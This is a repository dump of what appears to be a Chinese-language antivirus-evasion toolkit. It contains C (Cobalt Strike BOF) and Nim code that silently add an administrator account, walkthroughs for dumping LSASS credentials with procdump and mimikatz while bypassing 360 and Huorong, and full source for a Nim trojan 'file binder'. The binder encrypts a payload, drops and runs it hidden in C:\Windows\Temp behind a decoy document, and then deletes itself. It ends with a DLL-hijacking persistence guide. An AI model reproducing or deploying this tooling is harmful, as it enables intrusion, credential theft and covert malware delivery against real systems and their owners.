BeaconFormatToString(formatp * format, int * size); 38 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 39 | 40 | /* Output Functions */ 41 | #define CALLBACK_OUTPUT 0x0 42 | #define CALLBACK_OUTPUT_OEM 0x1e 43 | #define CALLBACK_ERROR 0x0d 44 | #define CALLBACK_OUTPUT_UTF8 0x20 45 | 46 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 47 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 48 | 49 | /* Token Functions */ 50 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 51 | DECLSPEC_IMPORT void BeaconRevertToken(); 52 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 53 | 54 | /* Spawn+Inject Functions */ 55 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 56 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 57 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 58 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 59 | 60 | /* Utility Functions */ 61 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); -------------------------------------------------------------------------------- /动态免杀/BOF过杀软添加用户/bof-net-user-x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/动态免杀/BOF过杀软添加用户/bof-net-user-x64.o -------------------------------------------------------------------------------- /动态免杀/BOF过杀软添加用户/bof-net-user-x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/动态免杀/BOF过杀软添加用户/bof-net-user-x86.o -------------------------------------------------------------------------------- /动态免杀/BOF过杀软添加用户/bof-net-user.c: -------------------------------------------------------------------------------- 1 | #ifndef UNICODE 2 | #define UNICODE 3 | #endif 4 | 5 | #include 6 | #include 7 | #include "beacon.h" 8 | 9 | typedef DWORD NET_API_STATUS; 10 | 11 | DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetUserAdd(LPWSTR,DWORD,PBYTE,PDWORD); 12 | DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetLocalGroupAddMembers(LPCWSTR,LPCWSTR,DWORD,PBYTE,DWORD); 13 | 14 | void go(char * args, int alen) { 15 | 16 | USER_INFO_1 UserInfo; 17 | DWORD dwLevel = 1; 18 | DWORD dwError = 0; 19 | 20 | UserInfo.usri1_name = (TCHAR*)L"test123"; // 账户 21 | UserInfo.usri1_password = (TCHAR*)L"Test@#123"; // 密码 22 | UserInfo.usri1_priv = USER_PRIV_USER; 23 | UserInfo.usri1_home_dir = NULL; 24 | UserInfo.usri1_comment = NULL; 25 | UserInfo.usri1_flags = UF_SCRIPT; 26 | UserInfo.usri1_script_path = NULL; 27 | 28 | NET_API_STATUS nStatus; 29 | 30 | nStatus = NETAPI32$NetUserAdd( 31 | NULL, 32 | dwLevel, 33 | (LPBYTE)&UserInfo, 34 | &dwError 35 | ); 36 | if(nStatus == NERR_Success){ 37 | BeaconPrintf(CALLBACK_OUTPUT, "User has been successfully added", NULL); 38 | }else{ 39 | BeaconPrintf(CALLBACK_OUTPUT, "User added error %d", nStatus); 40 | } 41 | 42 | LOCALGROUP_MEMBERS_INFO_3 account; 43 | account.lgrmi3_domainandname = UserInfo.usri1_name; 44 | 45 | NET_API_STATUS aStatus; 46 | 47 | aStatus = NETAPI32$NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1); 48 | if(aStatus == NERR_Success){ 49 | BeaconPrintf(CALLBACK_OUTPUT, "User has been successfully added to Administrators", NULL); 50 | }else{ 51 | BeaconPrintf(CALLBACK_OUTPUT, "User added to Administrators error ", NULL); 52 | } 53 | } -------------------------------------------------------------------------------- /动态免杀/BOF过杀软添加用户/pic/0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/动态免杀/BOF过杀软添加用户/pic/0.png -------------------------------------------------------------------------------- /动态免杀/BOF过杀软添加用户/pic/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/动态免杀/BOF过杀软添加用户/pic/1.png -------------------------------------------------------------------------------- /动态免杀/BOF过杀软添加用户/pic/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/动态免杀/BOF过杀软添加用户/pic/2.png -------------------------------------------------------------------------------- /动态免杀/BOF过杀软添加用户/pic/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/动态免杀/BOF过杀软添加用户/pic/3.png -------------------------------------------------------------------------------- /动态免杀/BOF过杀软添加用户/pic/4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/动态免杀/BOF过杀软添加用户/pic/4.png -------------------------------------------------------------------------------- /动态免杀/BOF过杀软添加用户/pic/5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/动态免杀/BOF过杀软添加用户/pic/5.png -------------------------------------------------------------------------------- /动态免杀/BOF过杀软添加用户/pic/readme.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /动态免杀/BOF过杀软添加用户/readme.md: -------------------------------------------------------------------------------- 1 | ### 0x00 基本原理 2 | 利用CS4.1中新出的BOF功能提供的API实现添加用户,并将用户添加到管理员组 3 | 4 | ### 0x01 测试火绒过程记录 5 | 受害虚拟机:Windows 2008 R2安装火绒 6 | kali下执行如下命令安装需要的库 7 | ``` 8 | sudo apt install mingw-w64-tools mingw-w64-common g++-mingw-w64 gcc-mingw-w64 upx-ucl osslsigncode 9 | ``` 10 | 安装完之后,执行如下命令分别生成32位和64位的对象文件 11 | ``` 12 | x86_64-w64-mingw32-gcc -c bof-net-user.c -o bof-net-user-x64.o 13 | i686-w64-mingw32-gcc -c bof-net-user.c -o bof-net-user-x86.o 14 | 编译后的对象文件包含用户名密码:test123/Test@#123 15 | 这里要注意:32位进程载入32位对象,64位进程载入64位对象 16 | ``` 17 | CS上线后,直接执行 18 | ``` 19 | shell net user test test /add 20 | ``` 21 | 会被拦截,如下图 22 | ![image](./pic/0.png) 23 | 通过内联执行的方式执行对象文件bof-net-user-x86.o 24 | ``` 25 | inline-execute /home/kali/Desktop/bof-net-user-x86.o 26 | ``` 27 | 等待一会,反馈成功添加用户,如下图 28 | ![image](./pic/1.png) 29 | 回到受害机上查看,成功添加用户,如下图 30 | ![image](./pic/2.png) 31 | 32 | ### 0x01 测试360安全卫士过程记录 33 | 受害虚拟机:Windows 2008 R2安装360安全卫士 34 | 同样CS上线后,直接执行 35 | ``` 36 | shell net user test test /add 37 | ``` 38 | 会被拦截,如下图 39 | ![image](./pic/3.png) 40 | 通过内联执行的方式执行对象文件bof-net-user-x86.o 41 | ``` 42 | inline-execute /home/kali/Desktop/bof-net-user-x86.o 43 | ``` 44 | 等待一会,反馈成功添加用户,如下图 45 | ![image](./pic/4.png) 46 | 回到受害机上查看,成功添加用户,如下图 47 | ![image](./pic/5.png) 48 | -------------------------------------------------------------------------------- /动态免杀/CS内存中执行Mimikatz过杀软提取密码/pic/0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/动态免杀/CS内存中执行Mimikatz过杀软提取密码/pic/0.png -------------------------------------------------------------------------------- /动态免杀/CS内存中执行Mimikatz过杀软提取密码/pic/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/动态免杀/CS内存中执行Mimikatz过杀软提取密码/pic/1.png -------------------------------------------------------------------------------- /动态免杀/CS内存中执行Mimikatz过杀软提取密码/pic/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/动态免杀/CS内存中执行Mimikatz过杀软提取密码/pic/2.png -------------------------------------------------------------------------------- /动态免杀/CS内存中执行Mimikatz过杀软提取密码/pic/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/动态免杀/CS内存中执行Mimikatz过杀软提取密码/pic/3.png -------------------------------------------------------------------------------- /动态免杀/CS内存中执行Mimikatz过杀软提取密码/pic/readme.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /动态免杀/CS内存中执行Mimikatz过杀软提取密码/readme.md: -------------------------------------------------------------------------------- 1 | ### 0x00 基本原理 2 | 利用内存中执行的特点可绕过杀软的动态查杀 3 | 先决条件:CS实现静态免杀 4 | 5 | ### 0x01 测试360安全卫士过程记录 6 | 受害虚拟机:Windows 2008 R2安装360安全卫士 7 | CS中生成exe格式的payload,上传到受害虚拟机,执行时会被拦截,添加白名单(本次实验主要测试动态免杀,故静态查杀添加白名单) 8 | CS上线后,执行Access->Run Mimikatz可导出密码,如下图 9 | ![image](./pic/0.png) 10 | 受害虚拟机上无反应,如下图 11 | ![image](./pic/1.png) 12 | 13 | ### 0x02 测试火绒过程记录 14 | 受害虚拟机:Windows 2008 R2安装火绒 15 | CS中生成exe格式的payload,上传到受害虚拟机,执行时会被拦截,添加白名单(本次实验主要测试动态免杀,故静态查杀添加白名单) 16 | CS上线后,执行Access->Run Mimikatz可导出密码,如下图 17 | ![image](./pic/2.png) 18 | 受害虚拟机上无反应,如下图 19 | ![image](./pic/3.png) 20 | -------------------------------------------------------------------------------- /动态免杀/Nim添加用户绕过360/netuser.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/动态免杀/Nim添加用户绕过360/netuser.exe -------------------------------------------------------------------------------- /动态免杀/Nim添加用户绕过360/netuser.nim: -------------------------------------------------------------------------------- 1 | import winim 2 | 3 | var 4 | dwLevel:DWORD = 1 5 | dwError:DWORD = 0 6 | UserInfos:USER_INFO_1 7 | account:LOCALGROUP_MEMBERS_INFO_3 8 | 9 | 10 | UserInfos.usri1_name = L"ybdt" 11 | UserInfos.usri1_password = L"1qaz@WSX" 12 | UserInfos.usri1_priv = USER_PRIV_USER 13 | UserInfos.usri1_home_dir = NULL 14 | UserInfos.usri1_comment = NULL 15 | UserInfos.usri1_flags = UF_SCRIPT 16 | UserInfos.usri1_script_path = NULL 17 | 18 | account.lgrmi3_domainandname = UserInfos.usri1_name 19 | 20 | let retVal = NetUserAdd( 21 | NULL, 22 | dwLevel , 23 | cast [LPBYTE](&UserInfos), 24 | cast [ptr DWORD](dwError) 25 | ) 26 | 27 | 28 | if retVal != NERR_Success: 29 | echo retVal 30 | else: 31 | echo "[+]User Add Successful !!!" 32 | 33 | let fiVal = NetLocalGroupAddMembers( 34 | NULL, 35 | L"Administrators", 36 | 3, 37 | cast [LPBYTE](&account), 38 | 1 39 | ) 40 | 41 | 42 | if fiVal != NERR_Success: 43 | echo fiVal 44 | else: 45 | echo "[+]User Add to Administrator Group Successful !!!" -------------------------------------------------------------------------------- /动态免杀/Nim添加用户绕过360/pic/0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/动态免杀/Nim添加用户绕过360/pic/0.png -------------------------------------------------------------------------------- /动态免杀/Nim添加用户绕过360/pic/readme.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /动态免杀/Nim添加用户绕过360/readme.md: -------------------------------------------------------------------------------- 1 | 参考自: 2 | https://mp.weixin.qq.com/s?__biz=MzU0MjUxNjgyOQ==&mid=2247486414&idx=1&sn=a6ea7ea5f99364fd321112f9b81b5b8b&exportkey=AaDdzYZzU29Zs1xkXDz%2FYeQ%3D&pass_ticket=uywmwG50B9SRCCijI3nkcLmPfqWsDYj7afHS8UbBj949CenjRXueIAhbRa63W8hx&wx_header=0 3 | https://github.com/lengjibo/NetUser 4 | 5 | netuser.exe是我编译后的 6 | 前提条件:需要管理员权限 7 | 用户名:ybdt 8 | 密码:1qaz@WSX 9 | 10 | 原理: 11 | 直接调用Windows API中的NetUserAdd和NetLocalGroupAddMembers 12 | 利用小众语言nim的天然静态免杀性 13 | 14 | 免杀效果: 15 | ![image](./pic/0.png) 16 | -------------------------------------------------------------------------------- /动态免杀/Procdump+Mimikatz过杀软提取密码/pic/0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/动态免杀/Procdump+Mimikatz过杀软提取密码/pic/0.png -------------------------------------------------------------------------------- /动态免杀/Procdump+Mimikatz过杀软提取密码/pic/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/动态免杀/Procdump+Mimikatz过杀软提取密码/pic/1.png -------------------------------------------------------------------------------- /动态免杀/Procdump+Mimikatz过杀软提取密码/pic/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/动态免杀/Procdump+Mimikatz过杀软提取密码/pic/2.png -------------------------------------------------------------------------------- /动态免杀/Procdump+Mimikatz过杀软提取密码/pic/readme.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /动态免杀/Procdump+Mimikatz过杀软提取密码/readme.md: -------------------------------------------------------------------------------- 1 | ### 0x00 基本原理 2 | 利用procdump是微软签名的程序,自带免杀性 3 | 这里要注意:需要使用64位的procdump以及64位的mimikatz 4 | 5 | ### 0x01 测试火绒过程记录 6 | 受害虚拟机:Windows 2008 R2安装火绒 7 | 上传procdump64.exe到受害机后执行命令 8 | ``` 9 | .\procdump64.exe -accepteula -ma lsass.exe lsass.dmp 10 | ``` 11 | 提取进程lsass.exe的内存到文件lsass.dmp中,如下图 12 | ![image](./pic/0.png) 13 | 下载提取到的lsass.dmp到攻击机的64位mimikatz目录下,执行命令 14 | ``` 15 | .\mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit 16 | ``` 17 | 成功解密出密码,如下图 18 | ![image](./pic/1.png) 19 | 20 | ### 0x02 测试360安全卫士过程记录 21 | 受害虚拟机:Windows 2008 R2安装360安全卫士 22 | 执行命令 23 | ``` 24 | .\procdump64.exe -accepteula -ma lsass.exe lsass.dmp 25 | ``` 26 | 会被拦截,如下图 27 | ![image](./pic/2.png) 28 | -------------------------------------------------------------------------------- /动态免杀/readme.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/动态免杀/readme.md -------------------------------------------------------------------------------- /打包器免杀/readme.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/打包器免杀/readme.md -------------------------------------------------------------------------------- /打包器免杀/基于Nim语言的免杀打包器/pic/image-20221111222512497.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/打包器免杀/基于Nim语言的免杀打包器/pic/image-20221111222512497.png -------------------------------------------------------------------------------- /打包器免杀/基于Nim语言的免杀打包器/pic/image-20221111222806858.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/打包器免杀/基于Nim语言的免杀打包器/pic/image-20221111222806858.png -------------------------------------------------------------------------------- /打包器免杀/基于Nim语言的免杀打包器/pic/image-20221111223117632.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/打包器免杀/基于Nim语言的免杀打包器/pic/image-20221111223117632.png -------------------------------------------------------------------------------- /打包器免杀/基于Nim语言的免杀打包器/pic/image-20221111223229687.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/打包器免杀/基于Nim语言的免杀打包器/pic/image-20221111223229687.png -------------------------------------------------------------------------------- /打包器免杀/基于Nim语言的免杀打包器/readme.md: -------------------------------------------------------------------------------- 1 | # 0x01 原理概述 2 | 基于nim语言实现将2个文件打包到一起,执行后将exe释放到C:\Windows\Temp,然后删除自身,同时运行exe和docx 3 | 4 | # 0x02 工具优势 5 | 01、基于nim语言,减少被杀软查杀的风险 6 | 02、打包器的核心代码部分会加密,并在内存中解密后运行 7 | 03、落地后删除自身,减少被传到沙盒的风险 8 | 9 | # 0x03 完整代码 10 | ``` 11 | # File: NimFileBinder.nim 12 | 13 | import os 14 | import base64 15 | import strfmt 16 | import osproc 17 | import nimcrypto 18 | 19 | let help = """ 20 | 21 | +-+-+-+-+-+-+-+-+-+-+-+-+-+ 22 | |N i m F i l e B i n d e r| 23 | +-+-+-+-+-+-+-+-+-+-+-+-+-+ 24 | 25 | It's a FileBinder writen by Nim 26 | And just a *rough* tool of learning Nim 27 | 28 | Usage: 29 | ./NimFileBinder 30 | -h,--help : help 31 | """ 32 | 33 | func toByteSeq*(str: string): seq[byte] {.inline.} = 34 | ## Converts a string to the corresponding byte sequence. 35 | @(str.toOpenArrayByte(0, str.high)) 36 | 37 | proc EncryptFile(File1, File2, key: string): void = 38 | var 39 | Content1 = readFile(File1) 40 | Content2 = readFile(File2) 41 | EnContent1 = encode(Content1) 42 | EnContent2 = encode(Content2) 43 | 44 | var 45 | data: seq[byte] = toByteSeq(decode(EnContent1)) 46 | envkey: string = key 47 | 48 | ectx, dctx: CTR[aes256] 49 | key: array[aes256.sizeKey, byte] 50 | iv: array[aes256.sizeBlock, byte] 51 | plaintext = newSeq[byte](len(data)) 52 | enctext = newSeq[byte](len(data)) 53 | b64iv: string 54 | 55 | 56 | 57 | # Create Random IV 58 | discard randomBytes(addr iv[0], 16) 59 | # We do not need to pad data, `CTR` mode works byte by byte. 60 | copyMem(addr plaintext[0], addr data[0], len(data)) 61 | 62 | # Expand key to 32 bytes using SHA256 as the KDF 63 | var expandedkey = sha256.digest(envkey) 64 | copyMem(addr key[0], addr expandedkey.data[0], len(expandedkey.data)) 65 | 66 | ectx.init(key, iv) 67 | ectx.encrypt(plaintext, enctext) 68 | ectx.clear() 69 | 70 | b64iv = encode(iv) 71 | 72 | var B64EnCryContent: string = encode(enctext) 73 | 74 | var BinderTemplete: string = """ 75 | 76 | import base64 77 | import winim 78 | import encodings 79 | import nimcrypto 80 | 81 | func toByteSeq*(str: string): seq[byte] {} = 82 | ## Converts a string to the corresponding byte sequence. 83 | @(str.toOpenArrayByte(0, str.high)) 84 | 85 | var evilbase64 = "{}" 86 | 87 | var data2: seq[byte] = toByteSeq(decode(evilbase64)) 88 | 89 | var BindFilebase64 = "{}" 90 | 91 | var deb64iv = decode("{}") 92 | var 93 | envkey: string = "{}" 94 | dctx: CTR[aes256] 95 | key: array[aes256.sizeKey, byte] 96 | iv: array[aes256.sizeBlock, byte] 97 | crypttext = newSeq[byte]({}) 98 | dectext = newSeq[byte]({}) 99 | 100 | copyMem(addr crypttext[0], addr data2[0], len(data2)) 101 | 102 | var expandedkey = sha256.digest(envkey) 103 | copyMem(addr key[0], addr expandedkey.data[0], len(expandedkey.data)) 104 | copyMem(addr iv[0], addr deb64iv[0], aes256.sizeBlock) 105 | 106 | dctx.init(key, iv) 107 | dctx.decrypt(crypttext, dectext) 108 | dctx.clear() 109 | 110 | let decoded_Bindfile = decode(BindFilebase64) 111 | 112 | var evilname: string = "{}" 113 | var Bindfilename: string = "{}" 114 | 115 | writeFile(Bindfilename, decoded_Bindfile) 116 | 117 | var utf8evilname =convert(evilname,"GB2312","UTF-8") 118 | var utf8Bindfilename =convert(Bindfilename,"GB2312","UTF-8") 119 | 120 | WinExec("cmd /k start " & utf8Bindfilename, SW_HIDE); 121 | writeFile(r"C:\\Windows\\Temp\\" & utf8evilname, dectext) 122 | 123 | #copyFile("C:\\Windows\\Temp\\calc.txt", "C:\\Windows\\Temp\\calc.exe") 124 | #removeFile("C:\\Windows\\Temp\\calc.txt") 125 | 126 | WinExec("cmd /c C:\\Windows\\Temp\\" & utf8evilname, SW_HIDE); 127 | ShellExecute(0, "open", "cmd.exe", "/c del outfile.exe", NULL, SW_HIDE) 128 | #WinExec("cmd.exe /c del temp.exe", SW_HIDE) 129 | 130 | """.fmt("{.inline.}", B64EnCryContent, EnContent2, b64iv, envkey, len(data), len(data), File1, File2) 131 | 132 | writeFile(r"outfile.nim", BinderTemplete) 133 | 134 | 135 | proc CompileFile(): void = 136 | let errC = execCmd("nim c --hints:off --cpu:amd64 -d:mingw --app:gui -d:danger -d:strip --opt:size --passc=-flto --passl=-flto {}".fmt("outfile.nim")) 137 | var rmhandle = tryRemoveFile("outfile.nim") 138 | 139 | 140 | proc main() = 141 | if paramCount() == 3: 142 | var 143 | TraojanFile: string = paramStr(1) 144 | NormalFile: string = paramStr(2) 145 | Enkey: string = paramStr(3) 146 | 147 | EncryptFile(TraojanFile, NormalFile, Enkey) 148 | CompileFile() 149 | return 150 | 151 | if paramCount() == 1 and (paramStr(1) == "-h" or paramStr(1) == "--help"): 152 | echo help 153 | return 154 | 155 | if paramCount() == 0: 156 | echo help 157 | return 158 | 159 | else: 160 | echo " Expect two arguments\n ex: ./NimFileBinder " 161 | return 162 | 163 | 164 | main() 165 | ``` 166 | 167 | # 0x04 Mac下编译 168 | ``` 169 | brew install mingw 170 | brew install nim 171 | 此时编译NimFileBinder.nim会提示缺少库,还需要通过nimble安装缺少的库 172 | nimble install strfmt 173 | 依次安装完缺少的库后,可通过下述指令成功编译NimFileBinder.nim 174 | nim c --hints:off -d:release NimFileBinder.nim 175 | ``` 176 | 177 | # 0x05 效果展示 178 | 179 | 打包如下 180 | 181 | ![image-20221111222512497](./pic/image-20221111222512497.png) 182 | 183 | Defender下弹出文档,删除自身,并上线 184 | 185 | ![image-20221111222806858](./pic/image-20221111222806858.png) 186 | 187 | 卡巴斯基下弹出文档,删除自身,并上线 188 | 189 | ![image-20221111223117632](./pic/image-20221111223117632.png) 190 | 191 | 均可上线 192 | 193 | ![image-20221111223229687](./pic/image-20221111223229687.png) 194 | -------------------------------------------------------------------------------- /杀软识别/readme.md: -------------------------------------------------------------------------------- 1 | # 在线杀软识别 2 | https://www.adminxe.com/CompareAV/ 3 | http://42.193.251.15/tasklist.php -------------------------------------------------------------------------------- /维权免杀/readme.md: -------------------------------------------------------------------------------- 1 | 当下,权限维持好用的方式:1、白加黑,2、syscall方式注入shellcode 2 | 3 | # 0x01 白加黑权限维持 4 | ### 漏洞原理 5 | 这是一个很古老,但仍旧很有效的方式,原理很简单 6 | ``` 7 | 某些exe需要加载dll,而dll查找顺序如下 8 | 01 exe所在目录 9 | 02 系统⽬录即System32⽬录 10 | 03 16位系统⽬录即System⽬录(用户兼容16位应用,可以不考虑) 11 | 04 Windows目录 12 | 05 加载dll时所在的当前目录 13 | 06 环境变量path中的所有目录 14 | 所以,当一个dll不在应用程序所在目录,那么我们就可以在应用程序所在目录放一个自己dll,名字改为要加载的dll名称,当程序启动时,便会加载我们的dll 15 | ``` 16 | 更深入的漏洞原理 17 | ``` 18 | DLL劫持漏洞之所以被称为漏洞,还要从负责加载DLL的系统API LoadLibrary来看。熟悉Windows代码的同学都知道,调⽤LoadLibrary时可以使⽤DLL的相对路径。这时,系统会按照特定的顺序搜索⼀些⽬录,以确定DLL的完整路径。根据MSDN⽂档的约定,在使⽤相对路径调⽤LoadLibrary(同样适⽤于其他同类LoadLibraryEx)时,系统会依次从以下6个位置去查找所需要的DLL⽂件(会根据SafeDllSearchMode配置⽽稍有不同) 19 | 20 | 程序所在⽬录 21 | 加载dll时所在的当前⽬录 22 | 系统⽬录即System32⽬录 23 | 16位系统⽬录即System⽬录 24 | Windows⽬录 25 | Path环境变量中列出的⽬录 26 | ``` 27 | ### dll劫持防御1 28 | 微软从Win7开始,为了防御系统dll被劫持,将经常被劫持的系统dll写进一个注册表项中,此注册表项中的dll只能被System32目录下的exe调用,不能从exe所在的当前目录调用,注册表路径如下 29 | ``` 30 | HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs 31 | 32 | HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\ExcludeFromKnownDlls 33 | ``` 34 | ### dll劫持防御2 35 | 目前不少厂商已经通过哈希校验、数字签名校验等方式,确保加载的dll为自己的dll,这样即便找到了可劫持dll的白利用,仍然无法劫持 36 | ### dll劫持场景1 37 | 有些开发者编写程序时,没有对程序加载的dll做处理,导致加载一些不存在的dll,这个时候我们可以劫持这些不存在的dll 38 | ### dll劫持场景2 39 | 利用加载顺序,exe所在目录先于系统目录System32,劫持系统dll --------------------------------------------------------------------------------